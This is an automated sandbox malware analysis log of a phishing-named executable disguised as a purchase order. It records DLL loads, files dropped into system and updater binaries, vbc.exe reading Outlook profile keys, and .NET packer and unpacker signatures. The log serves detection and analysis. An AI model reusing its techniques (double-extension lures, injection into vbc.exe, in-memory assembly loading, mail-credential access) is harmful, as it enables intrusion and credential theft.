Source: C:\Windows\System32\Spectrum.exe	Section loaded: mswb7.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: devdispitemprovider.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: libcrypto.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: esent.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: clusapi.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: fltlib.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: version.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: appmanagementconfiguration.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\vds.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vds.exe	Section loaded: osuninst.dll
Source: C:\Windows\System32\vds.exe	Section loaded: vdsutil.dll
Source: C:\Windows\System32\vds.exe	Section loaded: bcd.dll
Source: C:\Windows\System32\vds.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\vds.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\vds.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\vds.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\vds.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\vds.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\vds.exe	Section loaded: uexfat.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ifsutil.dll
Source: C:\Windows\System32\vds.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\vds.exe	Section loaded: uudf.dll
Source: C:\Windows\System32\vds.exe	Section loaded: untfs.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ufat.dll
Source: C:\Windows\System32\vds.exe	Section loaded: fmifs.dll
Source: C:\Windows\System32\vds.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: virtdisk.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: bcd.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: spp.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: clusapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: wer.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fltlib.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fveapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: ucrtbase_clr0400.dll

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: RFQ_PO N89397-GM7287-Order.bat.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: RFQ_PO N89397-GM7287-Order.bat.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: RFQ_PO N89397-GM7287-Order.bat.exe

Static file information: File size 1432064 > 1048576

Source: RFQ_PO N89397-GM7287-Order.bat.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x15aa00

Source: RFQ_PO N89397-GM7287-Order.bat.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdb source: alg.exe, 0000000B.00000003.2009762179.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.2009857048.0000000000400000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2573298301.0000000000730000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2573255343.00000000007C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\ktab_objs\ktab.pdb source: alg.exe, 0000000B.00000003.2036151480.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\jjs_objs\jjs.pdb source: alg.exe, 0000000B.00000003.2034574236.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\SpreadsheetCompare.pdb source: alg.exe, 0000000B.00000003.2062072594.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdb source: alg.exe, 0000000B.00000003.1991666348.00000000016C0000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2527182119.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdbGCTL source: alg.exe, 0000000B.00000003.2011798103.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2576506040.0000000001460000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\pack200_objs\pack200.pdb source: alg.exe, 0000000B.00000003.2036762332.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: vbc.exe, 0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\Common.DBConnection.pdb source: alg.exe, 0000000B.00000003.2060589054.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\rmiregistry_objs\rmiregistry.pdb source: alg.exe, 0000000B.00000003.2037617501.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdb source: SingleClientServicesUpdater.exe.9.dr
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdb source: alg.exe, 0000000B.00000003.2010753406.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2574637480.00000000007C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb source: alg.exe, 0000000B.00000003.2002253535.0000000000400000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2563833897.0000000000730000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\tnameserv_objs\tnameserv.pdb source: alg.exe, 0000000B.00000003.2038419292.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\servertool_objs\servertool.pdb source: alg.exe, 0000000B.00000003.2037851037.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: MicrosoftEdgeUpdate_unsigned.pdb source: alg.exe, 0000000B.00000003.2050845345.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\dcf\x-none\Common.ShowHelp.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: Common.ShowHelp.exe.9.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\rmid_objs\rmid.pdb source: alg.exe, 0000000B.00000003.2037331399.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\java-rmi_objs\java-rmi.pdb source: alg.exe, 0000000B.00000003.2033387100.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdbU source: alg.exe, 0000000B.00000003.2009762179.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.2009857048.0000000000400000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2573298301.0000000000730000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2573255343.00000000007C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdbT source: SingleClientServicesUpdater.exe.9.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\keytool_objs\keytool.pdb source: alg.exe, 0000000B.00000003.2035106637.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\jjs_objs\jjs.pdb source: alg.exe, 0000000B.00000003.2034574236.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdb source: alg.exe, 0000000B.00000003.2011798103.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2576506040.0000000001460000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\policytool_objs\policytool.pdb source: alg.exe, 0000000B.00000003.2037004985.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVDllSurrogate32.pdb source: alg.exe, 0000000B.00000003.2053440475.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdbY source: alg.exe, 0000000B.00000003.2010753406.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2574637480.00000000007C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\dcf\x-none\Common.ShowHelp.pdb source: Common.ShowHelp.exe.9.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\rmid_objs\rmid.pdb source: alg.exe, 0000000B.00000003.2037331399.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: GoogleUpdate_unsigned.pdb source: alg.exe, 0000000B.00000003.2031098154.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\servertool_objs\servertool.pdb source: alg.exe, 0000000B.00000003.2037851037.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\policytool_objs\policytool.pdb source: alg.exe, 0000000B.00000003.2037004985.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\keytool_objs\keytool.pdb source: alg.exe, 0000000B.00000003.2035106637.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVlp.pdb source: alg.exe, 0000000B.00000003.2053936657.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\Common.DBConnection.pdbn#n source: alg.exe, 0000000B.00000003.2060589054.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\klist_objs\klist.pdb source: alg.exe, 0000000B.00000003.2035936901.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\tnameserv_objs\tnameserv.pdb source: alg.exe, 0000000B.00000003.2038419292.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\ktab_objs\ktab.pdb source: alg.exe, 0000000B.00000003.2036151480.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVDllSurrogate32.pdbGCTL source: alg.exe, 0000000B.00000003.2053440475.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\java-rmi_objs\java-rmi.pdb source: alg.exe, 0000000B.00000003.2033387100.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb$$ source: alg.exe, 0000000B.00000003.2002253535.0000000000400000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2563833897.0000000000730000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\kinit_objs\kinit.pdb source: alg.exe, 0000000B.00000003.2035579850.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\orbd_objs\orbd.pdb source: alg.exe, 0000000B.00000003.2036511619.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\rmiregistry_objs\rmiregistry.pdb source: alg.exe, 0000000B.00000003.2037617501.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\pack200_objs\pack200.pdb source: alg.exe, 0000000B.00000003.2036762332.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: alg.exe, 0000000B.00000003.1991666348.00000000016C0000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2527182119.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\DatabaseCompare.pdb source: alg.exe, 0000000B.00000003.2061513893.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\kinit_objs\kinit.pdb source: alg.exe, 0000000B.00000003.2035579850.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\klist_objs\klist.pdb source: alg.exe, 0000000B.00000003.2035936901.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\orbd_objs\orbd.pdb source: alg.exe, 0000000B.00000003.2036511619.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVlp.pdbGCTL source: alg.exe, 0000000B.00000003.2053936657.0000000000B90000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.81e0000.4.raw.unpack, kAOj1Y7pfP90kycNNw.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.4a424e8.1.raw.unpack, kAOj1Y7pfP90kycNNw.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.81e0000.4.raw.unpack, GtaAIbrHXObmMm8GPA.cs	.Net Code: vaH8QmOOp System.Reflection.Assembly.Load(byte[])
Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.4a424e8.1.raw.unpack, GtaAIbrHXObmMm8GPA.cs	.Net Code: vaH8QmOOp System.Reflection.Assembly.Load(byte[])

Source: RFQ_PO N89397-GM7287-Order.bat.exe

Static PE information: 0xC6CF0F5C [Wed Sep 11 20:17:32 2075 UTC]

Source: pingsender.exe.9.dr	Static PE information: section name: .00cfg
Source: pingsender.exe.9.dr	Static PE information: section name: .voltbl
Source: plugin-container.exe.9.dr	Static PE information: section name: .00cfg
Source: plugin-container.exe.9.dr	Static PE information: section name: .voltbl
Source: private_browsing.exe.9.dr	Static PE information: section name: .00cfg
Source: private_browsing.exe.9.dr	Static PE information: section name: .voltbl
Source: updater.exe.9.dr	Static PE information: section name: .00cfg
Source: updater.exe.9.dr	Static PE information: section name: .voltbl
Source: updater.exe.9.dr	Static PE information: section name: _RDATA
Source: armsvc.exe.9.dr	Static PE information: section name: .didat
Source: alg.exe.9.dr	Static PE information: section name: .didat
Source: FXSSVC.exe.9.dr	Static PE information: section name: .didat
Source: elevation_service.exe.9.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe.9.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe.9.dr	Static PE information: section name: .retplne
Source: elevation_service.exe.9.dr	Static PE information: section name: _RDATA
Source: elevation_service.exe.9.dr	Static PE information: section name: malloc_h
Source: elevation_service.exe0.9.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe0.9.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe0.9.dr	Static PE information: section name: .retplne
Source: elevation_service.exe0.9.dr	Static PE information: section name: _RDATA
Source: elevation_service.exe0.9.dr	Static PE information: section name: malloc_h
Source: maintenanceservice.exe.9.dr	Static PE information: section name: .00cfg
Source: maintenanceservice.exe.9.dr	Static PE information: section name: .voltbl
Source: maintenanceservice.exe.9.dr	Static PE information: section name: _RDATA
Source: msdtc.exe.9.dr	Static PE information: section name: .didat
Source: GoogleCrashHandler64.exe.9.dr	Static PE information: section name: _RDATA
Source: GoogleCrashHandler64.exe.9.dr	Static PE information: section name: .gxfg
Source: GoogleCrashHandler64.exe.9.dr	Static PE information: section name: .gehcont
Source: GoogleUpdateComRegisterShell64.exe.9.dr	Static PE information: section name: _RDATA
Source: GoogleUpdateComRegisterShell64.exe.9.dr	Static PE information: section name: .gxfg
Source: GoogleUpdateComRegisterShell64.exe.9.dr	Static PE information: section name: .gehcont
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: section name: .00cfg
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: section name: .retplne
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: section name: .00cfg
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: section name: .retplne
Source: msiexec.exe.9.dr	Static PE information: section name: .didat
Source: MsSense.exe.9.dr	Static PE information: section name: .didat
Source: Spectrum.exe.9.dr	Static PE information: section name: .didat
Source: TieringEngineService.exe.9.dr	Static PE information: section name: .didat
Source: vds.exe.9.dr	Static PE information: section name: .didat
Source: VSSVC.exe.9.dr	Static PE information: section name: .didat
Source: WmiApSrv.exe.9.dr	Static PE information: section name: .didat
Source: wmpnetwk.exe.9.dr	Static PE information: section name: .didat

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_004AB81E push es; ret	9_2_004AB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_004A7371 push es; ret	9_2_004A737D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_004A6DDD pushad ; ret	9_2_004A6DE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_004A53E6 push ecx; ret	9_2_004A53F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_004ABBBF push esi; ret	9_2_004ABBC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0044B0B0 push es; ret	9_2_0044B0B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0044E11C push esi; iretd	9_2_0044E17C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0044A9EB push eax; ret	9_2_0044AA27
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0044BDFF pushad ; ret	9_2_0044BE0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0044F584 push esi; ret	9_2_0044F592
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00449A40 push A3221A04h; ret	9_2_00449A45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0044E67F push es; ret	9_2_0044E685
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0044B2E5 push esp; iretd	9_2_0044B2E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0044E703 push 8303313Dh; ret	9_2_0044E708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_004679CF push es; mov dword ptr [esp], eax	9_2_00467A56
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00462FCB push eax; iretd	9_2_00462FCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_004646A1 push es; ret	9_2_004646A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0044386C push 1000939Fh; ret	9_2_00443884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00423149 push eax; ret	9_2_00423179
